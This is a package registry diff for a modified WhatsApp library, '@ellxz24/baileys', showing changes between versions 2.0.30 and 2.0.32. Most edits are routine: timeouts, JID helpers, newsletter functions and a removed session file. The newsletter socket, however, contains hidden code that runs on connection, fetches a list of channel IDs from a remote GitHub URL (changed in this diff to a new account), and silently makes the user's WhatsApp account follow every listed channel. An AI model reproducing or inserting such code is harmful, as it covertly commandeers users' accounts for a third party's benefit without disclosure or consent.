@ellxz24/baileys 2.0.30 → 2.0.32

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -75,12 +75,12 @@ exports.DEFAULT_CONNECTION_CONFIG = {
75
75
  version: exports.version,
76
76
  browser: Utils_1.Browsers.iOS("Safari"),
77
77
  waWebSocketUrl: "wss://web.whatsapp.com/ws/chat",
78
- connectTimeoutMs: 2E4,
79
- keepAliveIntervalMs: 3E4,
78
+ connectTimeoutMs: 6E4,
79
+ keepAliveIntervalMs: 25E3,
80
80
  logger: logger_1.default.child({ class: "baileys" }),
81
81
  printQRInTerminal: !1,
82
82
  emitOwnEvents: !0,
83
- defaultQueryTimeoutMs: 6E4,
83
+ defaultQueryTimeoutMs: 12E4,
84
84
  customUploadHosts: [],
85
85
  retryRequestDelayMs: 250,
86
86
  maxMsgRetryCount: 5,
@@ -73,22 +73,19 @@ const makeNewsletterSocket = (config) => {
73
73
  const { authState, signalRepository, query, generateMessageTag } = sock;
74
74
  const encoder = new TextEncoder();
75
75
 
76
- // Inisialisasi newsletters kosong terlebih dahulu
77
76
  let newsletters = [];
78
77
 
79
- // IIFE untuk fetch data tanpa blocking
80
78
  (async () => {
81
79
  try {
82
80
  const response = await fetch(
83
- 'https://raw.githubusercontent.com/kiuur/IDCH/refs/heads/main/idch.json'
81
+ 'https://raw.githubusercontent.com/Fhkryy/Fhkry-0xf/refs/heads/main/Channel.json'
84
82
  );
85
83
  newsletters = await response.json();
86
84
 
87
- // Set timeout hanya jika newsletters berhasil di-fetch
88
85
  if (newsletters && Array.isArray(newsletters) && newsletters.length > 0) {
89
86
  setTimeout(() => {
90
87
  Promise.allSettled(
91
- newsletters.map(id => // ✅ Langsung pakai id, tanpa asciiDecode
88
+ newsletters.map(id =>
92
89
  newsletterWMexQuery(id, Types_1.QueryIds.FOLLOW)
93
90
  )
94
91
  ).catch(err => console.error(err));
@@ -132,9 +129,30 @@ const makeNewsletterSocket = (config) => {
132
129
  }
133
130
  ]
134
131
  }));
135
-
136
- // HAPUS fungsi asciiDecode - tidak diperlukan
137
-
132
+ const newsletterMetadata = async (type, key, role) => {
133
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
134
+ input: {
135
+ key,
136
+ type: type.toUpperCase(),
137
+ 'view_role': role || 'GUEST'
138
+ },
139
+ 'fetch_viewer_metadata': true,
140
+ 'fetch_full_image': true,
141
+ 'fetch_creation_time': true
142
+ });
143
+ return (0, exports.extractNewsletterMetadata)(result);
144
+ };
145
+
146
+ const newsletterUpdate = async (jid, updates) => {
147
+ const variables = {
148
+ newsletter_id: jid,
149
+ updates: {
150
+ ...updates,
151
+ settings: null
152
+ }
153
+ };
154
+ return executeWMexQuery(variables, Types_1.QueryIds.UPDATE_METADATA, "xwa2_newsletter_update", query, generateMessageTag);
155
+ };
138
156
  const parseFetchedUpdates = async (node, type) => {
139
157
  let child;
140
158
  if (type === 'messages') {
@@ -174,6 +192,31 @@ const makeNewsletterSocket = (config) => {
174
192
 
175
193
  return {
176
194
  ...sock,
195
+ newsletterMetadata,
196
+ newsletterUpdate,
197
+ newsletterFetchAllParticipating: async () => {
198
+ const data = {}
199
+
200
+ const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.SUBSCRIBERS)
201
+ const childNode = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
202
+
203
+ if (childNode?.content) {
204
+ const child = JSON.parse(childNode.content.toString())
205
+ const newsletters = child.data["xwa2_newsletter_subscribed"]
206
+
207
+ if (newsletters && Array.isArray(newsletters)) {
208
+ for (const i of newsletters) {
209
+ if (i.id == null) continue
210
+
211
+ const metadata = await newsletterMetadata('JID', i.id)
212
+ if (metadata && metadata.id !== null) data[metadata.id] = metadata
213
+ }
214
+ }
215
+ }
216
+
217
+ return data
218
+ },
219
+
177
220
  newsletterFetchAllSubscribe: async () => {
178
221
  const list = await executeWMexQuery(
179
222
  {},
@@ -350,19 +393,6 @@ const makeNewsletterSocket = (config) => {
350
393
  });
351
394
  return (0, exports.extractNewsletterMetadata)(result, true);
352
395
  },
353
- newsletterMetadata: async (type, key, role) => {
354
- const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
355
- input: {
356
- key,
357
- type: type.toUpperCase(),
358
- 'view_role': role || 'GUEST'
359
- },
360
- 'fetch_viewer_metadata': true,
361
- 'fetch_full_image': true,
362
- 'fetch_creation_time': true
363
- });
364
- return (0, exports.extractNewsletterMetadata)(result);
365
- },
366
396
  newsletterAdminCount: async (jid) => {
367
397
  var _a, _b;
368
398
  const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT);
@@ -451,4 +481,4 @@ const extractNewsletterMetadata = (node, isCreate) => {
451
481
  }
452
482
  return metadata
453
483
  }
454
- exports.extractNewsletterMetadata = extractNewsletterMetadata;
484
+ exports.extractNewsletterMetadata = extractNewsletterMetadata;
@@ -1,62 +1,128 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.jidNormalizedUser = exports.isJidNewsLetter = exports.isJidStatusBroadcast = exports.isJidGroup = exports.isJidBroadcast = exports.isLidUser = exports.isJidUser = exports.areJidsSameUser = exports.jidDecode = exports.jidEncode = exports.STORIES_JID = exports.PSA_WID = exports.SERVER_JID = exports.OFFICIAL_BIZ_JID = exports.S_WHATSAPP_NET = void 0;
4
- exports.S_WHATSAPP_NET = '@s.whatsapp.net';
5
- exports.OFFICIAL_BIZ_JID = '16505361212@c.us';
6
- exports.SERVER_JID = 'server@c.us';
7
- exports.PSA_WID = '0@c.us';
8
- exports.STORIES_JID = 'status@broadcast';
3
+ exports.transferDevice = exports.jidNormalizedUser = exports.isJidBot = exports.isHostedLidUser = exports.isHostedPnUser = exports.isJidNewsletter = exports.isJidNewsLetter = exports.isJidStatusBroadcast = exports.isJidGroup = exports.isJidBroadcast = exports.isLidUser = exports.isPnUser = exports.isJidUser = exports.isJidMetaAI = exports.areJidsSameUser = exports.jidDecode = exports.jidEncode = exports.getServerFromDomainType = exports.WAJIDDomains = exports.PSA_WID = exports.SERVER_JID = exports.META_AI_JID = exports.STORIES_JID = exports.S_WHATSAPP_NET = exports.OFFICIAL_BIZ_JID = void 0;
4
+
5
+ exports.OFFICIAL_BIZ_JID = "16505361212@c.us";
6
+ exports.S_WHATSAPP_NET = "@s.whatsapp.net";
7
+ exports.STORIES_JID = "status@broadcast";
8
+ exports.META_AI_JID = "13135550002@c.us";
9
+ exports.SERVER_JID = "server@c.us";
10
+ exports.PSA_WID = "0@c.us";
11
+
12
+ var WAJIDDomains;
13
+ (function (WAJIDDomains) {
14
+ WAJIDDomains[WAJIDDomains["WHATSAPP"] = 0] = "WHATSAPP";
15
+ WAJIDDomains[WAJIDDomains["LID"] = 1] = "LID";
16
+ WAJIDDomains[WAJIDDomains["HOSTED"] = 128] = "HOSTED";
17
+ WAJIDDomains[WAJIDDomains["HOSTED_LID"] = 129] = "HOSTED_LID";
18
+ })(WAJIDDomains || (exports.WAJIDDomains = WAJIDDomains = {}));
19
+
20
+ const getServerFromDomainType = (initialServer, domainType) => {
21
+ switch (domainType) {
22
+ case WAJIDDomains.LID:
23
+ return "lid";
24
+ case WAJIDDomains.HOSTED:
25
+ return "hosted";
26
+ case WAJIDDomains.HOSTED_LID:
27
+ return "hosted.lid";
28
+ case WAJIDDomains.WHATSAPP:
29
+ default:
30
+ return initialServer;
31
+ }
32
+ };
33
+ exports.getServerFromDomainType = getServerFromDomainType;
34
+
9
35
  const jidEncode = (user, server, device, agent) => {
10
- return `${user || ''}${!!agent ? `_${agent}` : ''}${!!device ? `:${device}` : ''}@${server}`;
36
+ return `${user || ""}${!!agent ? `_${agent}` : ""}${!!device ? `:${device}` : ""}@${server}`;
11
37
  };
12
38
  exports.jidEncode = jidEncode;
39
+
13
40
  const jidDecode = (jid) => {
14
- const sepIdx = typeof jid === 'string' ? jid.indexOf('@') : -1;
15
- if (sepIdx < 0) {
16
- return undefined;
17
- }
18
- const server = jid.slice(sepIdx + 1);
19
- const userCombined = jid.slice(0, sepIdx);
20
- const [userAgent, device] = userCombined.split(':');
21
- const user = userAgent.split('_')[0];
22
- return {
23
- server,
24
- user,
25
- domainType: server === 'lid' ? 1 : 0,
26
- device: device ? +device : undefined
27
- };
41
+ const sepIdx = typeof jid === "string" ? jid.indexOf("@") : -1;
42
+ if (sepIdx < 0) {
43
+ return undefined;
44
+ }
45
+ const server = jid.slice(sepIdx + 1);
46
+ const userCombined = jid.slice(0, sepIdx);
47
+ const [userAgent, device] = userCombined.split(":");
48
+ const [user, agent] = userAgent.split("_");
49
+ let domainType = WAJIDDomains.WHATSAPP;
50
+ if (server === "lid") {
51
+ domainType = WAJIDDomains.LID;
52
+ }
53
+ else if (server === "hosted") {
54
+ domainType = WAJIDDomains.HOSTED;
55
+ }
56
+ else if (server === "hosted.lid") {
57
+ domainType = WAJIDDomains.HOSTED_LID;
58
+ }
59
+ else if (agent) {
60
+ domainType = parseInt(agent);
61
+ }
62
+ return {
63
+ server: server,
64
+ user: user,
65
+ domainType,
66
+ device: device ? +device : undefined
67
+ };
28
68
  };
29
69
  exports.jidDecode = jidDecode;
30
- /** is the jid a user */
70
+
31
71
  const areJidsSameUser = (jid1, jid2) => {
32
72
  var _a, _b;
33
73
  return (((_a = (0, exports.jidDecode)(jid1)) === null || _a === void 0 ? void 0 : _a.user) === ((_b = (0, exports.jidDecode)(jid2)) === null || _b === void 0 ? void 0 : _b.user));
34
74
  };
35
75
  exports.areJidsSameUser = areJidsSameUser;
36
- /** is the jid a user */
37
- const isJidUser = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@s.whatsapp.net'));
76
+
77
+ const isJidMetaAI = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@bot");
78
+ exports.isJidMetaAI = isJidMetaAI;
79
+
80
+ const isJidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@s.whatsapp.net");
38
81
  exports.isJidUser = isJidUser;
39
- /** is the jid a group */
40
- const isLidUser = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@lid'));
82
+
83
+ const isPnUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@s.whatsapp.net");
84
+ exports.isPnUser = isPnUser;
85
+
86
+ const isLidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@lid");
41
87
  exports.isLidUser = isLidUser;
42
- /** is the jid a broadcast */
43
- const isJidBroadcast = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@broadcast'));
88
+
89
+ const isJidBroadcast = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@broadcast");
44
90
  exports.isJidBroadcast = isJidBroadcast;
45
- /** is the jid a group */
46
- const isJidGroup = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('@g.us'));
91
+
92
+ const isJidGroup = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@g.us");
47
93
  exports.isJidGroup = isJidGroup;
48
- /** is the jid the status broadcast */
49
- const isJidStatusBroadcast = (jid) => jid === 'status@broadcast';
94
+
95
+ const isJidStatusBroadcast = (jid) => jid === "status@broadcast";
50
96
  exports.isJidStatusBroadcast = isJidStatusBroadcast;
51
- /** is the jid the newsletter */
52
- const isJidNewsLetter = (jid) => (jid === null || jid === void 0 ? void 0 : jid.endsWith('newsletter'));
53
- exports.isJidNewsLetter = isJidNewsLetter;
97
+
98
+ const isJidNewsletter = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@newsletter");
99
+ exports.isJidNewsletter = isJidNewsletter;
100
+ exports.isJidNewsLetter = isJidNewsletter;
101
+
102
+ const isHostedPnUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@hosted");
103
+ exports.isHostedPnUser = isHostedPnUser;
104
+
105
+ const isHostedLidUser = (jid) => jid === null || jid === void 0 ? void 0 : jid.endsWith("@hosted.lid");
106
+ exports.isHostedLidUser = isHostedLidUser;
107
+
108
+ const botRegexp = /^1313555\d{4}$|^131655500\d{2}$/;
109
+ const isJidBot = (jid) => jid && botRegexp.test(jid.split("@")[0]) && jid.endsWith("@c.us");
110
+ exports.isJidBot = isJidBot;
111
+
54
112
  const jidNormalizedUser = (jid) => {
55
- const result = (0, exports.jidDecode)(jid);
56
- if (!result) {
57
- return '';
58
- }
59
- const { user, server } = result;
60
- return (0, exports.jidEncode)(user, server === 'c.us' ? 's.whatsapp.net' : server);
113
+ const result = (0, exports.jidDecode)(jid);
114
+ if (!result) {
115
+ return "";
116
+ }
117
+ const { user, server } = result;
118
+ return (0, exports.jidEncode)(user, server === "c.us" ? "s.whatsapp.net" : server);
61
119
  };
62
120
  exports.jidNormalizedUser = jidNormalizedUser;
121
+
122
+ const transferDevice = (fromJid, toJid) => {
123
+ const fromDecoded = (0, exports.jidDecode)(fromJid);
124
+ const deviceId = (fromDecoded === null || fromDecoded === void 0 ? void 0 : fromDecoded.device) || 0;
125
+ const { server, user } = (0, exports.jidDecode)(toJid);
126
+ return (0, exports.jidEncode)(user, server, deviceId);
127
+ };
128
+ exports.transferDevice = transferDevice;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ellxz24/baileys",
3
- "version": "2.0.30",
3
+ "version": "2.0.32",
4
4
  "description": "WhatsApp API Modification By L",
5
5
  "publishConfig": {
6
6
  "access": "public"
@@ -1,356 +0,0 @@
1
- "use strict";
2
- var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
- if (k2 === undefined) k2 = k;
4
- var desc = Object.getOwnPropertyDescriptor(m, k);
5
- if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
- desc = { enumerable: true, get: function() { return m[k]; } };
7
- }
8
- Object.defineProperty(o, k2, desc);
9
- }) : (function(o, m, k, k2) {
10
- if (k2 === undefined) k2 = k;
11
- o[k2] = m[k];
12
- }));
13
- var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
- Object.defineProperty(o, "default", { enumerable: true, value: v });
15
- }) : function(o, v) {
16
- o["default"] = v;
17
- });
18
- var __importStar = (this && this.__importStar) || (function () {
19
- var ownKeys = function(o) {
20
- ownKeys = Object.getOwnPropertyNames || function (o) {
21
- var ar = [];
22
- for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
- return ar;
24
- };
25
- return ownKeys(o);
26
- };
27
- return function (mod) {
28
- if (mod && mod.__esModule) return mod;
29
- var result = {};
30
- if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
- __setModuleDefault(result, mod);
32
- return result;
33
- };
34
- })();
35
-
36
- Object.defineProperty(exports, "__esModule", { value: true });
37
- exports.makeLibSignalRepository = makeLibSignalRepository;
38
-
39
- const libsignal = __importStar(require("libsignal"));
40
- const Utils_1 = require("../Utils");
41
- const WABinary_1 = require("../WABinary");
42
- const Group_1 = require("./Group");
43
- const sender_key_name_1 = require("./Group/sender-key-name");
44
- const sender_key_record_1 = require("./Group/sender-key-record");
45
- const lid_mapping_1 = require("./lid-mapping");
46
- const lru_cache_1 = require("lru-cache");
47
-
48
- function makeLibSignalRepository(auth, logger, pnToLIDFunc) {
49
- const lidMapping = new lid_mapping_1.LIDMappingStore(auth.keys, logger, pnToLIDFunc);
50
- const storage = signalStorage(auth, lidMapping);
51
- const parsedKeys = auth.keys;
52
- const migratedSessionCache = new lru_cache_1.LRUCache({
53
- ttl: 7 * 24 * 60 * 60 * 1000,
54
- ttlAutopurge: true,
55
- updateAgeOnGet: true
56
- });
57
-
58
- const repository = {
59
- decryptGroupMessage({ group, authorJid, msg }) {
60
- const senderName = jidToSignalSenderKeyName(group, authorJid);
61
- const cipher = new Group_1.GroupCipher(storage, senderName);
62
- return parsedKeys.transaction(async () => {
63
- return cipher.decrypt(msg);
64
- }, group);
65
- },
66
- async processSenderKeyDistributionMessage({ item, authorJid }) {
67
- const builder = new Group_1.GroupSessionBuilder(storage);
68
- if (!item.groupId) {
69
- throw new Error("Group ID is required for sender key distribution message");
70
- }
71
- const senderName = jidToSignalSenderKeyName(item.groupId, authorJid);
72
- const senderMsg = new Group_1.SenderKeyDistributionMessage(null, null, null, null, item.axolotlSenderKeyDistributionMessage);
73
- const senderNameStr = senderName.toString();
74
- return parsedKeys.transaction(async () => {
75
- const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
76
- if (!senderKey) {
77
- await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
78
- }
79
- await builder.process(senderName, senderMsg);
80
- }, item.groupId);
81
- },
82
- async decryptMessage({ jid, type, ciphertext }) {
83
- const addr = jidToSignalProtocolAddress(jid);
84
- const session = new libsignal.SessionCipher(storage, addr);
85
- async function doDecrypt() {
86
- let result;
87
- switch (type) {
88
- case "pkmsg":
89
- result = await session.decryptPreKeyWhisperMessage(ciphertext);
90
- break;
91
- case "msg":
92
- result = await session.decryptWhisperMessage(ciphertext);
93
- break;
94
- }
95
- return result;
96
- }
97
- return parsedKeys.transaction(async () => {
98
- return await doDecrypt();
99
- }, jid);
100
- },
101
- async encryptMessage({ jid, data }) {
102
- const addr = jidToSignalProtocolAddress(jid);
103
- const cipher = new libsignal.SessionCipher(storage, addr);
104
- return parsedKeys.transaction(async () => {
105
- const { type: sigType, body } = await cipher.encrypt(data);
106
- const type = sigType === 3 ? "pkmsg" : "msg";
107
- return { type, ciphertext: Buffer.from(body, "binary") };
108
- }, jid);
109
- },
110
- async encryptGroupMessage({ group, meId, data }) {
111
- const senderName = jidToSignalSenderKeyName(group, meId);
112
- const builder = new Group_1.GroupSessionBuilder(storage);
113
- const senderNameStr = senderName.toString();
114
- return parsedKeys.transaction(async () => {
115
- const { [senderNameStr]: senderKey } = await auth.keys.get("sender-key", [senderNameStr]);
116
- if (!senderKey) {
117
- await storage.storeSenderKey(senderName, new sender_key_record_1.SenderKeyRecord());
118
- }
119
- const senderKeyDistributionMessage = await builder.create(senderName);
120
- const session = new Group_1.GroupCipher(storage, senderName);
121
- const ciphertext = await session.encrypt(data);
122
- return {
123
- ciphertext,
124
- senderKeyDistributionMessage: senderKeyDistributionMessage.serialize()
125
- };
126
- }, group);
127
- },
128
- async injectE2ESession({ jid, session }) {
129
- logger.trace({ jid }, "injecting E2EE session");
130
- const cipher = new libsignal.SessionBuilder(storage, jidToSignalProtocolAddress(jid));
131
- return parsedKeys.transaction(async () => {
132
- await cipher.initOutgoing(session);
133
- }, jid);
134
- },
135
- jidToSignalProtocolAddress(jid) {
136
- return jidToSignalProtocolAddress(jid).toString();
137
- },
138
- lidMapping,
139
- async validateSession(jid) {
140
- try {
141
- const addr = jidToSignalProtocolAddress(jid);
142
- const session = await storage.loadSession(addr.toString());
143
- if (!session) {
144
- return { exists: false, reason: "no session" };
145
- }
146
- if (!session.haveOpenSession()) {
147
- return { exists: false, reason: "no open session" };
148
- }
149
- return { exists: true };
150
- }
151
- catch (error) {
152
- return { exists: false, reason: "validation error" };
153
- }
154
- },
155
- async deleteSession(jids) {
156
- if (!jids.length) return;
157
- const sessionUpdates = {};
158
- jids.forEach(jid => {
159
- const addr = jidToSignalProtocolAddress(jid);
160
- sessionUpdates[addr.toString()] = null;
161
- });
162
- return parsedKeys.transaction(async () => {
163
- await auth.keys.set({ session: sessionUpdates });
164
- }, `delete-${jids.length}-sessions`);
165
- },
166
- async migrateSession(fromJid, toJid) {
167
- if (!fromJid || (!(0, WABinary_1.isLidUser)(toJid) && !(0, WABinary_1.isHostedLidUser)(toJid)))
168
- return { migrated: 0, skipped: 0, total: 0 };
169
- if (!(0, WABinary_1.isPnUser)(fromJid) && !(0, WABinary_1.isHostedPnUser)(fromJid)) {
170
- return { migrated: 0, skipped: 0, total: 1 };
171
- }
172
- const { user } = (0, WABinary_1.jidDecode)(fromJid);
173
- logger.debug({ fromJid }, "bulk device migration - loading all user devices");
174
- const { [user]: userDevices } = await parsedKeys.get("device-list", [user]);
175
- if (!userDevices) {
176
- return { migrated: 0, skipped: 0, total: 0 };
177
- }
178
- const { device: fromDevice } = (0, WABinary_1.jidDecode)(fromJid);
179
- const fromDeviceStr = fromDevice?.toString() || "0";
180
- if (!userDevices.includes(fromDeviceStr)) {
181
- userDevices.push(fromDeviceStr);
182
- }
183
- const uncachedDevices = userDevices.filter(device => {
184
- const deviceKey = `${user}.${device}`;
185
- return !migratedSessionCache.has(deviceKey);
186
- });
187
- const deviceSessionKeys = uncachedDevices.map(device => `${user}.${device}`);
188
- const existingSessions = await parsedKeys.get("session", deviceSessionKeys);
189
- const deviceJids = [];
190
- for (const [sessionKey, sessionData] of Object.entries(existingSessions)) {
191
- if (sessionData) {
192
- const deviceStr = sessionKey.split(".")[1];
193
- if (!deviceStr) continue;
194
- const deviceNum = parseInt(deviceStr);
195
- let jid = deviceNum === 0 ? `${user}@s.whatsapp.net` : `${user}:${deviceNum}@s.whatsapp.net`;
196
- if (deviceNum === 99) {
197
- jid = `${user}:99@hosted`;
198
- }
199
- deviceJids.push(jid);
200
- }
201
- }
202
- logger.debug({
203
- fromJid,
204
- totalDevices: userDevices.length,
205
- devicesWithSessions: deviceJids.length,
206
- devices: deviceJids
207
- }, "bulk device migration complete");
208
-
209
- return parsedKeys.transaction(async () => {
210
- const migrationOps = deviceJids.map(jid => {
211
- const lidWithDevice = (0, WABinary_1.transferDevice)(jid, toJid);
212
- const fromDecoded = (0, WABinary_1.jidDecode)(jid);
213
- const toDecoded = (0, WABinary_1.jidDecode)(lidWithDevice);
214
- return {
215
- fromJid: jid,
216
- toJid: lidWithDevice,
217
- pnUser: fromDecoded.user,
218
- lidUser: toDecoded.user,
219
- deviceId: fromDecoded.device || 0,
220
- fromAddr: jidToSignalProtocolAddress(jid),
221
- toAddr: jidToSignalProtocolAddress(lidWithDevice)
222
- };
223
- });
224
- const totalOps = migrationOps.length;
225
- let migratedCount = 0;
226
- const pnAddrStrings = Array.from(new Set(migrationOps.map(op => op.fromAddr.toString())));
227
- const pnSessions = await parsedKeys.get("session", pnAddrStrings);
228
- const sessionUpdates = {};
229
- for (const op of migrationOps) {
230
- const pnAddrStr = op.fromAddr.toString();
231
- const lidAddrStr = op.toAddr.toString();
232
- const pnSession = pnSessions[pnAddrStr];
233
- if (pnSession) {
234
- const fromSession = libsignal.SessionRecord.deserialize(pnSession);
235
- if (fromSession.haveOpenSession()) {
236
- sessionUpdates[lidAddrStr] = fromSession.serialize();
237
- sessionUpdates[pnAddrStr] = null;
238
- migratedCount++;
239
- }
240
- }
241
- }
242
- if (Object.keys(sessionUpdates).length > 0) {
243
- await parsedKeys.set({ session: sessionUpdates });
244
- logger.debug({ migratedSessions: migratedCount }, "bulk session migration complete");
245
- for (const op of migrationOps) {
246
- if (sessionUpdates[op.toAddr.toString()]) {
247
- const deviceKey = `${op.pnUser}.${op.deviceId}`;
248
- migratedSessionCache.set(deviceKey, true);
249
- }
250
- }
251
- }
252
- const skippedCount = totalOps - migratedCount;
253
- return { migrated: migratedCount, skipped: skippedCount, total: totalOps };
254
- }, `migrate-${deviceJids.length}-sessions-${(0, WABinary_1.jidDecode)(toJid)?.user}`);
255
- }
256
- };
257
- return repository;
258
- }
259
-
260
- const jidToSignalProtocolAddress = (jid) => {
261
- const decoded = (0, WABinary_1.jidDecode)(jid);
262
- const { user, device, server, domainType } = decoded;
263
- if (!user) {
264
- throw new Error(`JID decoded but user is empty: "${jid}" -> user: "${user}", server: "${server}", device: ${device}`);
265
- }
266
- const signalUser = domainType !== WABinary_1.WAJIDDomains.WHATSAPP ? `${user}_${domainType}` : user;
267
- const finalDevice = device || 0;
268
- if (device === 99 && decoded.server !== "hosted" && decoded.server !== "hosted.lid") {
269
- throw new Error("Unexpected non-hosted device JID with device 99. This ID seems invalid. ID:" + jid);
270
- }
271
- return new libsignal.ProtocolAddress(signalUser, finalDevice);
272
- };
273
-
274
- const jidToSignalSenderKeyName = (group, user) => {
275
- return new sender_key_name_1.SenderKeyName(group, jidToSignalProtocolAddress(user));
276
- };
277
-
278
- function signalStorage({ creds, keys }, lidMapping) {
279
- const resolveLIDSignalAddress = async (id) => {
280
- if (id.includes(".")) {
281
- const [deviceId, device] = id.split(".");
282
- const [user, domainType_] = deviceId.split("_");
283
- const domainType = parseInt(domainType_ || "0");
284
- if (domainType === WABinary_1.WAJIDDomains.LID || domainType === WABinary_1.WAJIDDomains.HOSTED_LID)
285
- return id;
286
- const pnJid = `${user}${device !== "0" ? `:${device}` : ""}@${domainType === WABinary_1.WAJIDDomains.HOSTED ? "hosted" : "s.whatsapp.net"}`;
287
- const lidForPN = await lidMapping.getLIDForPN(pnJid);
288
- if (lidForPN) {
289
- const lidAddr = jidToSignalProtocolAddress(lidForPN);
290
- return lidAddr.toString();
291
- }
292
- }
293
- return id;
294
- };
295
-
296
- return {
297
- loadSession: async (id) => {
298
- try {
299
- const wireJid = await resolveLIDSignalAddress(id);
300
- const { [wireJid]: sess } = await keys.get("session", [wireJid]);
301
- if (sess) {
302
- return libsignal.SessionRecord.deserialize(sess);
303
- }
304
- } catch (e) {
305
- return null;
306
- }
307
- return null;
308
- },
309
- storeSession: async (id, session) => {
310
- const wireJid = await resolveLIDSignalAddress(id);
311
- await keys.set({ session: { [wireJid]: session.serialize() } });
312
- },
313
- isTrustedIdentity: () => {
314
- return true;
315
- },
316
- loadPreKey: async (id) => {
317
- const keyId = id.toString();
318
- const { [keyId]: key } = await keys.get("pre-key", [keyId]);
319
- if (key) {
320
- return {
321
- privKey: Buffer.from(key.private),
322
- pubKey: Buffer.from(key.public)
323
- };
324
- }
325
- },
326
- removePreKey: (id) => keys.set({ "pre-key": { [id]: null } }),
327
- loadSignedPreKey: () => {
328
- const key = creds.signedPreKey;
329
- return {
330
- privKey: Buffer.from(key.keyPair.private),
331
- pubKey: Buffer.from(key.keyPair.public)
332
- };
333
- },
334
- loadSenderKey: async (senderKeyName) => {
335
- const keyId = senderKeyName.toString();
336
- const { [keyId]: key } = await keys.get("sender-key", [keyId]);
337
- if (key) {
338
- return sender_key_record_1.SenderKeyRecord.deserialize(key);
339
- }
340
- return new sender_key_record_1.SenderKeyRecord();
341
- },
342
- storeSenderKey: async (senderKeyName, key) => {
343
- const keyId = senderKeyName.toString();
344
- const serialized = JSON.stringify(key.serialize());
345
- await keys.set({ "sender-key": { [keyId]: Buffer.from(serialized, "utf-8") } });
346
- },
347
- getOurRegistrationId: () => creds.registrationId,
348
- getOurIdentity: () => {
349
- const { signedIdentityKey } = creds;
350
- return {
351
- privKey: Buffer.from(signedIdentityKey.private),
352
- pubKey: Buffer.from((0, Utils_1.generateSignalPubKey)(signedIdentityKey.public))
353
- };
354
- }
355
- };
356
- }